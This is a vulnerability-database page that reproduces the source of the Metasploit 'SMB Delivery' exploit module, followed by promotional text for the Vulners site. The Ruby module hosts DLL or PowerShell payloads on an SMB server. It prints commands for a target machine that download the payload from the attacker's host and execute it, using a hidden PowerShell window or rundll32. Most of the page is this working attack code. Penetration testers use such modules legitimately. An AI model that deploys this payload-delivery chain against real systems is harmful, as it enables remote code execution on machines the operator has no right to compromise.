Lucene search
K

SMB Delivery

🗓️ 29 Jul 2016 18:58:30Reported by Andrew Smith, Russel Van TuylType 
metasploit
 metasploit
🔗 www.rapid7.com👁 48 Views

This module serves payloads via an SMB server and provides commands to retrieve and execute the payloads. Currently supports DLLs and Powershell

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::SMB::Server::Share
  include Msf::Exploit::Powershell

  def initialize(info={})
    super(update_info(info,
      'Name'           => "SMB Delivery",
      'Description'    => %q{
        This module serves payloads via an SMB server and provides commands to retrieve
        and execute the generated payloads. Currently supports DLLs and Powershell.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Andrew Smith',
          'Russel Van Tuyl'
        ],
      'References'     =>
        [
          ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3074']
        ],
      'Payload'        =>
        {
          'Space'       => 2048,
          'DisableNops' => true
        },
        'Platform'       => 'win',
        'Targets'        =>
          [
            ['DLL', {
              'Platform' => 'win',
              'Arch' => [ARCH_X86, ARCH_X64]
            }],
            ['PSH', {
              'Platform' => 'win',
              'Arch' => [ARCH_X86, ARCH_X64]
            }]
          ],
        'Privileged'     => false,
        'DisclosureDate' => '2016-07-26',
        'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILE_NAME', [ false, 'DLL file name', 'test.dll'])
      ])
  end

  def primer
    print_status('Run the following command on the target machine:')
    case target.name
    when 'PSH'
      self.file_contents = cmd_psh_payload(  payload.encoded,
                                             payload_instance.arch.first,
                                             remove_comspec: true,
                                             wrap_double_quotes: true)

      download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(unc)
      download_and_run = "#{ignore_cert}#{download_string}"
      print_line generate_psh_command_line(  noprofile: true,
                                             windowstyle: 'hidden',
                                             command: download_and_run)
    when 'DLL'
      self.file_contents = generate_payload_dll
      print_line("rundll32.exe #{unc},0")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 May 2022 18:39Current
7.4High risk
Vulners AI Score7.4
48